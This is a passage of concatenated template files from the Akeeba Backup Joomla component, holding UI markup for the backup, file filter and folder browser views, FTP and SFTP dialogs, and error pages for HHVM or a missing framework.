				   description="COM_AKEEBA_VIEW_BACKUP_HIDETOOLBAR_DESC"
			>
				<option value="0">JNo</option>
				<option value="1">JYes</option>
			</field>

			<field name="returnurl" type="urlencoded"
				   default=""
				   label="COM_AKEEBA_VIEW_BACKUP_RETURNURL_LABEL"
				   description="COM_AKEEBA_VIEW_BACKUP_RETURNURL_DESC"
				   />
		</fieldset>
	</fields>
</metadata>
com_akeeba/tmpl/Backup/default.blade.php000060400000031654152455305260014212 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

/** @var  $this  \Akeeba\Backup\Admin\View\Backup\Html */

?>
@if (class_exists('Joomla\CMS\Component\ComponentHelper') && \Joomla\CMS\Component\ComponentHelper::isEnabled('com_akeebabackup'))
    @include('admin:com_akeeba/ControlPanel/backup8_uninstall')
	<?php return; ?>
@elseif (version_compare(JVERSION, '3.999.999', 'gt'))
    @include('admin:com_akeeba/ControlPanel/backup9_install')
@endif

{{-- Configuration Wizard pop-up --}}
@if($this->promptForConfigurationWizard)
	@include('admin:com_akeeba/Configuration/confwiz_modal')
@endif

{{-- The Javascript of the page --}}
@include('admin:com_akeeba/Backup/script')

<div id="akeebaBackup8Wrapper">
    {{-- Backup Setup --}}
    <div id="backup-setup" class="akeeba-panel--primary">
        <header class="akeeba-block-header">
            <h3>
                @lang('COM_AKEEBA_BACKUP_HEADER_STARTNEW')
            </h3>
        </header>

        @if($this->hasWarnings && !$this->unwriteableOutput)
            <div id="quirks" class="akeeba-block--{{ $this->hasErrors ? 'failure' : 'warning' }}">
                <h3 class="alert-heading">
                    @lang('COM_AKEEBA_BACKUP_LABEL_DETECTEDQUIRKS')
                </h3>
                <p>
                    @lang('COM_AKEEBA_BACKUP_LABEL_QUIRKSLIST')
                </p>
                {{ $this->warningsCell }}

            </div>
        @endif

        @if($this->unwriteableOutput)
            <div id="akeeba-fatal-outputdirectory" class="akeeba-block--failure">
                <h3>
                    @lang('COM_AKEEBA_BACKUP_ERROR_UNWRITABLEOUTPUT_' . ($this->autoStart ? 'AUTOBACKUP' : 'NORMALBACKUP'))
                </h3>
                <p>
                    @sprintf('COM_AKEEBA_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON', 'index.php?option=com_akeeba&view=Configuration', 'https://www.akeeba.com/warnings/q001.html')
                </p>
            </div>
        @endif

        <form action="index.php" method="post" name="flipForm" id="flipForm"
                class="akeeba-formstyle-reset akeeba-form--inline akeeba-panel--information"
                autocomplete="off">

            <div class="akeeba-form-group">
                <label>
                    @lang('COM_AKEEBA_CPANEL_PROFILE_TITLE'): #{{ $this->profileId }}

                </label>
                @jhtml('formbehavior.chosen')
                @jhtml('select.genericlist', $this->profileList, 'profileid', ['list.select' => $this->profileId, 'id' => 'comAkeebaBackupProfileDropdown', 'list.attr' => ['class' => 'advancedSelect']])
            </div>

            <div class="akeeba-form-group--actions">
                <button class="akeeba-btn--grey" id="comAkeebaBackupFlipProfile">
                    <span class="akion-refresh"></span>
                    @lang('COM_AKEEBA_CPANEL_PROFILE_BUTTON')
                </button>
            </div>

            <div class="akeeba-hidden-fields-container">
                <input type="hidden" name="option" value="com_akeeba"/>
                <input type="hidden" name="view" value="Backup"/>
                <input type="hidden" name="returnurl" value="{{{ $this->returnURL }}}"/>
                <input type="hidden" name="description" id="flipDescription" value=""/>
                <input type="hidden" name="comment" id="flipComment" value=""/>
                <input type="hidden" name="@token(true)" value="1"/>
            </div>
        </form>

        <form id="dummyForm" class="akeeba-form--horizontal" style="display: {{ $this->unwriteableOutput ? 'none' : 'block' }};">
            <div class="akeeba-form-group">
                <label for="backup-description">
                    @lang('COM_AKEEBA_BACKUP_LABEL_DESCRIPTION')
                </label>
                <input type="text" name="description" value="{{{ empty($this->description) ? $this->defaultDescription : $this->description }}}"
                        maxlength="255" size="80" id="backup-description" class="input-xxlarge" autocomplete="off" />
                <span class="akeeba-help-text">@lang('COM_AKEEBA_BACKUP_LABEL_DESCRIPTION_HELP')</span>
            </div>

            <div class="akeeba-form-group">
                <label for="comment">
                    @lang('COM_AKEEBA_BACKUP_LABEL_COMMENT')
                </label>
                <textarea id="comment" rows="5" cols="73" class="input-xxlarge">{{ $this->comment }}</textarea>
                <span class="akeeba-help-text">@lang('COM_AKEEBA_BACKUP_LABEL_COMMENT_HELP')</span>
            </div>

            <div class="akeeba-form-group--pull-right">
                <div class="akeeba-form-group--actions">
                    <button class="akeeba-btn--primary" id="backup-start">
                        <span class="akion-play"></span>
                        @lang('COM_AKEEBA_BACKUP_LABEL_START')
                    </button>

                    <a class="akeeba-btn--orange" id="backup-default" href="#">
                        <span class="akion-refresh"></span>
                        @lang('COM_AKEEBA_BACKUP_LABEL_RESTORE_DEFAULT')
                    </a>
                </div>
            </div>
        </form>
    </div>

    {{-- Warning for having set an ANGIE password --}}
    <div id="angie-password-warning" class="akeeba-block--warning" style="display: none">
        <h3>@lang('COM_AKEEBA_BACKUP_ANGIE_PASSWORD_WARNING_HEADER')</h3>
        <p>@lang('COM_AKEEBA_BACKUP_ANGIE_PASSWORD_WARNING_1')</p>
        <p>@lang('COM_AKEEBA_BACKUP_ANGIE_PASSWORD_WARNING_2')</p>
    </div>

    {{-- Backup in progress --}}
    <div id="backup-progress-pane" style="display: none">
        <div class="akeeba-block--info">
            @lang('COM_AKEEBA_BACKUP_TEXT_BACKINGUP')
        </div>

        <div class="akeeba-panel--primary">
            <header class="akeeba-block-header">
                <h3>
                    @lang('COM_AKEEBA_BACKUP_LABEL_PROGRESS')
                </h3>
            </header>

            <div id="backup-progress-content">
                <div id="backup-steps"></div>
                <div id="backup-status" class="backup-steps-container">
                    <div id="backup-step"></div>
                    <div id="backup-substep"></div>
                </div>
                <div id="backup-percentage" class="akeeba-progress">
                    <div class="akeeba-progress-fill" style="width: 0"></div>
                </div>
                <div id="response-timer">
                    <div class="color-overlay"></div>
                    <div class="text"></div>
                </div>
            </div>
            <span id="ajax-worker"></span>
        </div>

        @if (!AKEEBA_PRO)
            <div>
                <p>
                    <em>@lang('COM_AKEEBA_BACKUP_LBL_UPGRADENAG')</em>
                </p>
            </div>
        @endif
    </div>

    {{-- Backup complete --}}
    <div id="backup-complete" style="display: none">
        <div class="akeeba-panel--success">
            <header class="akeeba-block-header">
                <h3>
                    @if(empty($this->returnURL))
                        @lang('COM_AKEEBA_BACKUP_HEADER_BACKUPFINISHED')
                    @else
                        @lang('COM_AKEEBA_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED')
                    @endif
                </h3>
            </header>

            <div id="finishedframe">
                <p>
                    @if(empty($this->returnURL))
                        @lang('COM_AKEEBA_BACKUP_TEXT_CONGRATS')
                    @else
                        @lang('COM_AKEEBA_BACKUP_TEXT_PLEASEWAITFORREDIRECTION')
                    @endif
                </p>

                @if(empty($this->returnURL))
                    <a class="akeeba-btn--primary--big" href="index.php?option=com_akeeba&view=Manage">
                        <span class="akion-ios-list"></span>
                        @lang('COM_AKEEBA_BUADMIN')
                    </a>
                    <a class="akeeba-btn--grey" id="ab-viewlog-success" href="index.php?option=com_akeeba&view=Log&latest=1">
                        <span class="akion-ios-search-strong"></span>
                        @lang('COM_AKEEBA_LOG')
                    </a>
                @endif
            </div>
        </div>
    </div>

    {{-- Backup warnings --}}
    <div id="backup-warnings-panel" style="display:none">
        <div class="akeeba-panel--warning">
            <header class="akeeba-block-header">
                <h3>
                    @lang('COM_AKEEBA_BACKUP_LABEL_WARNINGS')
                </h3>
            </header>
            <div id="warnings-list">
            </div>
        </div>
    </div>

    {{-- Backup retry after error --}}
    <div id="retry-panel" style="display: none">
        <div class="akeeba-panel--warning">
            <header class="akeeba-block-header">
                <h3>
                    @lang('COM_AKEEBA_BACKUP_HEADER_BACKUPRETRY')
                </h3>
            </header>
            <div id="retryframe">
                <p>@lang('COM_AKEEBA_BACKUP_TEXT_BACKUPFAILEDRETRY')</p>
                <p>
                    <strong>
                        @lang('COM_AKEEBA_BACKUP_TEXT_WILLRETRY')
                        <span id="akeeba-retry-timeout">0</span>
                        @lang('COM_AKEEBA_BACKUP_TEXT_WILLRETRYSECONDS')
                    </strong>
                    <br/>
                    <button class="akeeba-btn--red--small" id="comAkeebaBackupCancelResume">
                        <span class="akion-android-cancel"></span>
                        @lang('COM_AKEEBA_MULTIDB_GUI_LBL_CANCEL')
                    </button>
                    <button class="akeeba-btn--green--small" id="comAkeebaBackupResumeBackup">
                        <span class="akion-ios-redo"></span>
                        @lang('COM_AKEEBA_BACKUP_TEXT_BTNRESUME')
                    </button>
                </p>

                <p>@lang('COM_AKEEBA_BACKUP_TEXT_LASTERRORMESSAGEWAS')</p>
                <p id="backup-error-message-retry"></p>
            </div>
        </div>
    </div>

    {{-- Backup error (halt) --}}
    <div id="error-panel" style="display: none">
        <div class="akeeba-panel--red">
            <header class="akeeba-block-header">
                <h3>
                    @lang('COM_AKEEBA_BACKUP_HEADER_BACKUPFAILED')
                </h3>
            </header>

            <div id="errorframe">
                <p>
                    @lang('COM_AKEEBA_BACKUP_TEXT_BACKUPFAILED')
                </p>
                <p id="backup-error-message"></p>

                <p>
                    @lang('COM_AKEEBA_BACKUP_TEXT_READLOGFAIL' . (AKEEBA_PRO ? 'PRO' : ''))
                </p>

                <div class="akeeba-block--info" id="error-panel-troubleshooting">
                    <p>
                        @if(AKEEBA_PRO)
                            @lang('COM_AKEEBA_BACKUP_TEXT_RTFMTOSOLVEPRO')
                        @endif

                        @sprintf('COM_AKEEBA_BACKUP_TEXT_RTFMTOSOLVE', 'https://www.akeeba.com/documentation/akeeba-backup-documentation/backup-now.html?utm_source=akeeba_backup&utm_campaign=backuperrorlink#troubleshoot-backup')
                    </p>
                    <p>
                        @if(AKEEBA_PRO)
                            @sprintf('COM_AKEEBA_BACKUP_TEXT_SOLVEISSUE_PRO', 'https://www.akeeba.com/support.html?utm_source=akeeba_backup&utm_campaign=backuperrorpro')
                        @else
                            @sprintf('COM_AKEEBA_BACKUP_TEXT_SOLVEISSUE_CORE', 'https://www.akeeba.com/subscribe.html?utm_source=akeeba_backup&utm_campaign=backuperrorcore','https://www.akeeba.com/support.html?utm_source=akeeba_backup&utm_campaign=backuperrorcore')
                        @endif

                        @sprintf('COM_AKEEBA_BACKUP_TEXT_SOLVEISSUE_LOG', 'index.php?option=com_akeeba&view=Log&latest=1')
                    </p>
                </div>

                @if(AKEEBA_PRO)
                    <a class="akeeba-btn--green" id="ab-alice-error" href="index.php?option=com_akeeba&view=Alice">
                        <span class="akion-medkit"></span>
                        @lang('COM_AKEEBA_BACKUP_ANALYSELOG')
                    </a>
                @endif

                <a class="akeeba-btn--primary" href="https://www.akeeba.com/documentation/akeeba-backup-documentation/troubleshoot-backup.html?utm_source=akeeba_backup&utm_campaign=backuperrorbutton">
                    <span class="akion-ios-book"></span>
                    @lang('COM_AKEEBA_BACKUP_TROUBLESHOOTINGDOCS')
                </a>

                <a class="akeeba-btn-grey" id="ab-viewlog-error" href="index.php?option=com_akeeba&view=Log&latest=1">
                    <span class="akion-ios-search-strong"></span>
                    @lang('COM_AKEEBA_LOG')
                </a>
            </div>
        </div>
    </div>
</div>com_akeeba/tmpl/FileFilters/default.blade.php000060400000003657152455305260015217 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

/** @var \Akeeba\Backup\Admin\View\FileFilters\Html $this */
?>
@include('admin:com_akeeba/CommonTemplates/ErrorModal')
@include('admin:com_akeeba/CommonTemplates/ProfileName')

<div class="AKEEBA_MASTER_FORM_STYLING akeeba-form--inline akeeba-panel--info">
    <div class="akeeba-form-group">
        <label>
            @lang('COM_AKEEBA_FILEFILTERS_LABEL_ROOTDIR')
        </label>
        <span>{{ $this->root_select }}</span>
    </div>
    <div class="akeeba-form-group--actions">
        <button class="akeeba-btn--red" id="comAkeebaFileFiltersNuke">
            <span class="akion-ios-trash"></span>
            @lang('COM_AKEEBA_FILEFILTERS_LABEL_NUKEFILTERS')
        </button>

        <a class="akeeba-btn--grey" href="index.php?option=com_akeeba&view=FileFilters&task=tabular">
            <span class="akion-ios-list-outline"></span>
            @lang('COM_AKEEBA_FILEFILTERS_LABEL_VIEWALL')
        </a>
    </div>
</div>

<div id="ak_crumbs_container" class="akeeba-panel--100 akeeba-panel--information">
    <div>
        <ul id="ak_crumbs" class="akeeba-breadcrumb"></ul>
    </div>
</div>

<div id="ak_main_container" class="akeeba-container--50-50">
    <div>
        <div class="akeeba-panel--info">
            <header class="akeeba-block-header">
                <h3>
                    @lang('COM_AKEEBA_FILEFILTERS_LABEL_DIRS')
                </h3>
            </header>
            <div id="folders"></div>
        </div>
    </div>

    <div>
        <div class="akeeba-panel--info">
            <header class="akeeba-block-header">
                <h3>
                    @lang('COM_AKEEBA_FILEFILTERS_LABEL_FILES')
                </h3>
            </header>
            <div id="files"></div>
        </div>
    </div>
</div>
com_akeeba/tmpl/FileFilters/tabular.blade.php000060400000003565152455305260015223 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

/** @var \Akeeba\Backup\Admin\View\FileFilters\Html $this */
?>
@include('admin:com_akeeba/CommonTemplates/ErrorModal')
@include('admin:com_akeeba/CommonTemplates/ProfileName')

<div class="AKEEBA_MASTER_FORM_STYLING akeeba-form--inline akeeba-panel--info">
    <div class="akeeba-form-group">
        <label>@lang('COM_AKEEBA_FILEFILTERS_LABEL_ROOTDIR')</label>
        {{ $this->root_select }}
    </div>
    <div id="addnewfilter" class="akeeba-form-group--actions">
        <label>
            @lang('COM_AKEEBA_FILEFILTERS_LABEL_ADDNEWFILTER')
        </label>
        <button class="akeeba-btn--grey" id="comAkeebaFileFiltersAddDirectories">
            @lang('COM_AKEEBA_FILEFILTERS_TYPE_DIRECTORIES')
        </button>
        <button class="akeeba-btn--grey" id="comAkeebaFileFiltersAddSkipfiles">
            @lang('COM_AKEEBA_FILEFILTERS_TYPE_SKIPFILES')
        </button>
        <button class="akeeba-btn--grey" id="comAkeebaFileFiltersAddSkipdirs">
            @lang('COM_AKEEBA_FILEFILTERS_TYPE_SKIPDIRS')
        </button>
        <button class="akeeba-btn--grey" id="comAkeebaFileFiltersAddFiles">
            @lang('COM_AKEEBA_FILEFILTERS_TYPE_FILES')
        </button>
    </div>
</div>

<form id="ak_roots_container_tab" class="akeeba-panel--primary">
    <div id="ak_list_container">
        <table id="ak_list_table" class="akeeba-table--striped">
            <thead>
            <tr>
                <td width="250px">@lang('COM_AKEEBA_FILEFILTERS_LABEL_TYPE')</td>
                <td>@lang('COM_AKEEBA_FILEFILTERS_LABEL_FILTERITEM')</td>
            </tr>
            </thead>
            <tbody id="ak_list_contents">
            </tbody>
        </table>
    </div>
</form>
com_akeeba/tmpl/Browser/default.blade.php000060400000014103152455305260014416 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/** @var \Akeeba\Backup\Admin\View\Browser\Html $this */

Text::script('COM_AKEEBA_CONFIG_UI_ROOTDIR', true);

?>
@if(empty($this->folder))
    <form action="index.php" method="post" name="adminForm" id="adminForm">
        <input type="hidden" name="option" value="com_akeeba" />
        <input type="hidden" name="view" value="Browser" />
        <input type="hidden" name="format" value="html" />
        <input type="hidden" name="tmpl" value="component" />
        <input type="hidden" name="folder" id="folder" value="" />
        <input type="hidden" name="processfolder" id="processfolder" value="0" />
        <input type="hidden" name="@token(true)" value="1" />
    </form>
@endif

@if(!(empty($this->folder)))
    <div class="akeeba-panel--100 akeeba-panel--primary">
        <div>
            <form action="index.php" method="get" name="adminForm" id="adminForm"
                  class="akeeba-form--inline akeeba-form--with-hidden">
                <span title="@lang($this->writable ? 'COM_AKEEBA_CPANEL_LBL_WRITABLE' : 'COM_AKEEBA_CPANEL_LBL_UNWRITABLE')"
                      class="{{ $this->writable ? 'akeeba-label--green' : 'akeeba-label--red' }}"
                >
                    <span class="{{ $this->writable ? 'akion-checkmark-circled' : 'akion-ios-close' }}"></span>
                </span>
                <input type="text" name="folder" id="folder" value="{{{ $this->folder }}}" />

                <button class="akeeba-btn--primary" id="comAkeebaBrowserGo">
                    <span class="akion-folder"></span>
                    @lang('COM_AKEEBA_BROWSER_LBL_GO')
                </button>

                <button class="akeeba-btn--green" id="comAkeebaBrowserUseThis">
                    <span class="akion-share"></span>
                    @lang('COM_AKEEBA_BROWSER_LBL_USE')
                </button>

                <div class="akeeba-hidden-fields-container">
                    <input type="hidden" name="folderraw" id="folderraw"
                           value="{{{ $this->folder_raw }}}" />
                    <input type="hidden" name="@token(true)" value="1" />
                    <input type="hidden" name="option" value="com_akeeba" />
                    <input type="hidden" name="view" value="Browser" />
                    <input type="hidden" name="tmpl" value="component" />
                </div>
            </form>
        </div>
    </div>

    @if(count($this->breadcrumbs))
        <div class="akeeba-panel--100 akeeba-panel--information">
            <div>
                <ul class="akeeba-breadcrumb">
					<?php $i = 0 ?>
                    @foreach($this->breadcrumbs as $crumb)
						<?php $i++; ?>
                        <li class="{{ ($i < count($this->breadcrumbs)) ? '' : 'active' }}">
                            @if($i < count($this->breadcrumbs))
                                <a href="{{{ Uri::base() . "index.php?option=com_akeeba&view=Browser&tmpl=component&folder=" . urlencode($crumb['folder']) }}}">
                                    {{{ $crumb['label'] }}}
                                </a>
                                <span class="divider">&bull;</span>
                            @else
                                {{{ $crumb['label'] }}}
                            @endif
                        </li>
                    @endforeach
                </ul>
            </div>
        </div>
    @endif

    <div class="akeeba-panel--100 akeeba-panel">
        <div>
            @if(count($this->subfolders))
                <table class="akeeba-table akeeba-table--striped">
                    <tr>
                        <td>
                            <a class="akeeba-btn--dark--small"
                               href="{{{ Uri::base() }}}index.php?option=com_akeeba&view=Browser&tmpl=component&folder={{{ $this->parent }}}">
                                <span class="akion-arrow-up-a"></span>
                                @lang('COM_AKEEBA_BROWSER_LBL_GOPARENT')
                            </a>
                        </td>
                    </tr>
                    @foreach($this->subfolders as $subfolder)
                        <tr>
                            <td>
                                <a class="akeeba-browser-folder" href="{{{ Uri::base() }}}index.php?option=com_akeeba&view=Browser&tmpl=component&folder={{{ $this->folder . '/' . $subfolder }}}">{{{ $subfolder }}}</a>
                            </td>
                        </tr>
                    @endforeach
                </table>
            @else
                @if(!$this->exists)
                    <div class="akeeba-block--failure">
                        @lang('COM_AKEEBA_BROWSER_ERR_NOTEXISTS')
                    </div>
                @elseif(!$this->inRoot)
                    <div class="akeeba-block--warning">
                        @lang('COM_AKEEBA_BROWSER_ERR_NONROOT')
                    </div>
                @elseif($this->openbasedirRestricted)
                    <div class="akeeba-block--failure">
                        @lang('COM_AKEEBA_BROWSER_ERR_BASEDIR')
                    </div>
                @else
                    <table class="akeeba-table--striped">
                        <tr>
                            <td>
                                <a class="akeeba-btn--dark--small"
                                   href="{{{ Uri::base() }}}index.php?option=com_akeeba&view=Browser&tmpl=component&folder={{{ $this->parent }}}">
                                    <span class="akion-arrow-up-a"></span>
                                    @lang('COM_AKEEBA_BROWSER_LBL_GOPARENT')
                                </a>
                            </td>
                        </tr>
                    </table>
                @endif{{-- secondary block --}}
            @endif {{-- count($this->subfolders) --}}
        </div>
    </div>
@endif
com_akeeba/tmpl/CommonTemplates/FTPBrowser.blade.php000060400000003051152455305260016453 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();
?>
<?php /* FTP browser */ ?>
<div class="modal fade" id="ftpdialog" tabindex="-1" role="dialog" aria-labelledby="ftpdialogLabel" aria-hidden="true"
     style="display: none;">
    <div class="akeeba-renderer-fef">
        <h4 id="ftpdialogLabel">
		    @lang('COM_AKEEBA_CONFIG_UI_FTPBROWSER_TITLE')
        </h4>

        <p class="instructions akeeba-block--info">
		    @lang('COM_AKEEBA_FTPBROWSER_LBL_INSTRUCTIONS')
        </p>
        <div class="error akeeba-block--failure" id="ftpBrowserErrorContainer">
            <h3>@lang('COM_AKEEBA_FTPBROWSER_LBL_ERROR')</h3>
            <p id="ftpBrowserError"></p>
        </div>

        <ul id="ak_crumbs2" class="breadcrumb"></ul>

        <div class="folderBrowserWrapper" id="ftpBrowserWrapper">
            <table id="ftpBrowserFolderList" class="akeeba-table akeeba-table--striped">
            </table>
        </div>

        <div>
            <button type="button" id="ftpdialogOkButton" class="akeeba-btn--primary">
                <span class="akion-checkmark"></span>
		        @lang('COM_AKEEBA_BROWSER_LBL_USE')
            </button>

            <button type="button" id="ftpdialogCancelButton" class="akeeba-btn--red">
                <span class="akion-ios-close"></span>
		        @lang('JTOOLBAR_CANCEL')
            </button>
        </div>
    </div>
</div>
com_akeeba/tmpl/CommonTemplates/hhvm.php000060400000002441152455305260014354 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

?>

<div style="margin: 1em">
	<h1>We have detected that you are running HHVM instead of PHP. This software WILL NOT WORK properly on HHVM. Please switch to PHP 7 instead.</h1>
	<hr/>
	<p>
        HHVM was Facebook's attempt at modernizing the PHP 5.x language and making it faster. Unfortunately it's also incompatible with PHP proper.
        PHP 7 has solved all these issues. It's fast, modern and <em>fully compatible with our software</em>.
        Please switch to PHP 7. If you are unsure how to do that, contact your host or the person responsible for maintaining your server.
        They are the only people who can help you configure your server.
	</p>
	<p>
        Kindly note that HHVM is not -and has never been- a supported execution environment for our software.
        As a result, if you see this message on your site you are unfortunately ineligible for support and / or filing bug reports.
        Please switch to PHP 7. If your problem persists after that we can help you / accept your bug report. Thank you for your understanding.
	</p>
</div>
com_akeeba/tmpl/CommonTemplates/FTPConnectionTest.blade.php000060400000001300152455305260017762 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();
?>
{{-- (S)FTP connection test --}}
<div class="modal fade" id="testFtpDialog" tabindex="-1" role="dialog" aria-labelledby="testFtpDialogLabel"
     aria-hidden="true" style="display:none;">
    <div class="akeeba-renderer-fef">
        <h4 class="modal-title" id="testFtpDialogLabel"></h4>
        <div class="akeeba-block--success" id="testFtpDialogBodyOk"></div>
        <div class="akeeba-block--failure" id="testFtpDialogBodyFail"></div>
    </div>
</div>
com_akeeba/tmpl/CommonTemplates/fof.php000060400000010434152455305260014165 0ustar00<?php
/**
 * Missing FOF 4.x error page
 *
 * @copyright Copyright (c) 2018-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

$tooLongAgo = (int) gmdate('Y') - 2015;
?>

<div style="margin: 1em">
	<h1>Akeeba Framework-on-Framework (FOF) version 4 could not be found on this site</h1>
	<hr />
	<div class="alert alert-warning">
		<h2>
			This component requires the Akeeba FOF framework package, verion 4, to be installed on your site. Please go
			to <a href="https://www.akeeba.com/download/fof4.html">our download page</a> to download it, then install
			it on your site.
		</h2>
	</div>
	<hr />
	<h4>Further information</h4>
	<p>
		FOF is a Joomla component framework. It's the low level code which sits between our Joomla! extensions and
		Joomla! itself. It is automatically installed when you install our extensions on your site.
	</p>
	<p>
		FOF can be missing from your site either because Joomla failed to install it or because you, another Super User,
		or another extension mistakenly uninstalled it or deleted its files.
	</p>
	<p>
		If it's missing, our components cannot talk to Joomla &mdash; or vice versa. Because of that they can not run.
		That's why you see this message.
	</p>
	<p>
		You do not have to worry about adding bloat to your site. FOF is very small. It will also be automatically
		uninstalled when you uninstall all components which depend on it.
	</p>
	<p>
		FOF is installed in the <code><?php echo rtrim(JPATH_LIBRARIES, '/\\') . DIRECTORY_SEPARATOR ?>fof40</code>
		folder on your server. It appears in Joomla's Extensions, Manage page as <code>FOF40</code>. Please do not
		remove it from your site.
	</p>
	<?php if (version_compare(JVERSION, '3.9999.9999', 'le')): ?>
		<h4>Why do I have multiple FOF entries in Joomla?</h4>
		<p>
			Joomla <?php echo JVERSION ?> includes an <em>old, obsolete</em> version of FOF - version 2.x. It is
			installed in the <code><?php echo JPATH_LIBRARIES . DIRECTORY_SEPARATOR ?>fof</code> folder on your server.
			It appears in Joomla's Extensions, Manage page as <code>FOF</code>. Please do not remove it from your site;
			Joomla needs it to function properly.
		</p>
		<p>
			We discontinued FOF 2.x in 2015 &mdash; that's <?php echo $tooLongAgo ?> years ago. Ever since, we replaced it
			with FOF 3.x. Starting February 2021 we replaced it with FOF 4.x.
		</p>
		<p>
			The different FOF versions are incompatible with each other but all may be required on your site for
			different reasons:
		</p>
		<ul>
			<li>
				<strong>FOF 2.x</strong> is required by Joomla! 3.x itself. Some of its core features, such as
				post-installation messages and Two Factor Authentiaction, use it.
			</li>
			<li>
				<strong>FOF 3.x</strong> is used by Akeeba Ltd extensions released before late February 2021 and some third
				party extensions.
			</li>
			<li>
				<strong>FOF 4.x</strong> is used by Akeeba Ltd extensions release <em>after</em> February 2021 and some third
				party extensions.
			</li>
		</ul>
		<p>
			Depending on which extensions you are using on your site you may see some or all of the above FOF versions.
			You <strong>must not</strong> try to uninstall them or delete their files yourself. If you do that, you will
			break some extensions and may lose access to your site.
		</p>
		<p>
			Please note that Akeeba extensions will automatically uninstall FOF versions 3 and 4 when they are no longer
			marked as needed by any extensions installed on your sites. Please note that whether they are needed or not
			is something that each extension needs to communicate to Joomla when it is installed, updated or
			uninstalled. While we can vouch for our extensions' ability to correctly communicate this information we
			can not make any promises for third party extensions. If you are unable to uninstall FOF 3 or 4 after
			uninstalling all Akeeba Ltd extensions from your site the culprit is a third party extension. Such an
			extension either still uses FOF or didn't communicate its upgrade or uninstallation, letting Joomla think
			there is still an extension depending on FOF. We cannot provide support for the latter issue; it's something
			caused by a different developer's code. Thank you for your understanding!
		</p>
	<?php endif; ?>
</div>
com_akeeba/tmpl/CommonTemplates/ErrorModal.blade.php000060400000001244152455305260016526 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();
?>
{{--  Error modal  --}}
<div id="errorDialog" tabindex="-1" role="dialog" aria-labelledby="errorDialogLabel" aria-hidden="true"
     style="display:none;">
    <div class="akeeba-renderer-fef">
        <h4 id="errorDialogLabel">
			@lang('COM_AKEEBA_CONFIG_UI_AJAXERRORDLG_TITLE')
        </h4>

        <p>
			@lang('COM_AKEEBA_CONFIG_UI_AJAXERRORDLG_TEXT')
        </p>
        <pre id="errorDialogPre"></pre>
    </div>
</div>
com_akeeba/tmpl/CommonTemplates/SFTPBrowser.blade.php000060400000003102152455305260016573 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();
?>
{{-- SFTP browser --}}
<div class="modal fade" id="sftpdialog" tabindex="-1" role="dialog" aria-labelledby="sftpdialogLabel" aria-hidden="true"
     style="display: none;">
    <div class="akeeba-renderer-fef">
        <h4 id="sftpdialogLabel">
		    @lang('COM_AKEEBA_CONFIG_UI_SFTPBROWSER_TITLE')
        </h4>

        <p class="instructions akeeba-block--info">
		    @lang('COM_AKEEBA_SFTPBROWSER_LBL_INSTRUCTIONS')
        </p>

        <div class="error akeeba-block--failure" id="sftpBrowserErrorContainer">
            <h2>@lang('COM_AKEEBA_SFTPBROWSER_LBL_ERROR')</h2>
            <p id="sftpBrowserError"></p>
        </div>

        <ul id="ak_scrumbs" class="breadcrumb"></ul>

        <div class="folderBrowserWrapper" id="sftpBrowserWrapper">
            <table id="sftpBrowserFolderList" class="akeeba-table akeeba-table--striped">
            </table>
        </div>

        <div class="modal-footer">
            <button type="button" id="sftpdialogOkButton" class="akeeba-btn--primary">
                <span class="akion-checkmark"></span>
		        @lang('COM_AKEEBA_BROWSER_LBL_USE')
            </button>

            <button type="button" id="sftpdialogCancelButton" class="akeeba-btn--red">
                <span class="akion-ios-close"></span>
				@lang('JTOOLBAR_CANCEL')
            </button>
        </div>

    </div>
</div>
com_akeeba/tmpl/CommonTemplates/fef.php000060400000003071152455305260014152 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

?>

<div style="margin: 1em">
	<h1>Akeeba Frontend Framework (FEF) could not be found on this site</h1>
	<hr/>
	<div class="alert alert-warning">
		<h2>
			This component requires the Akeeba Frontend Framework (FEF) to be installed on your site. Please go to <a
					href="https://www.akeeba.com/download/official/fef.html">our download page</a> to download it, then install it on your site.
		</h2>
	</div>
	<hr/>
	<h4>Further information</h4>
	<p>
        FEF is the name of our custom CSS framework. It's responsible for rendering the interface of our Joomla!
		extensions. It is automatically installed when you install our extensions on your site.
	</p>
	<p>
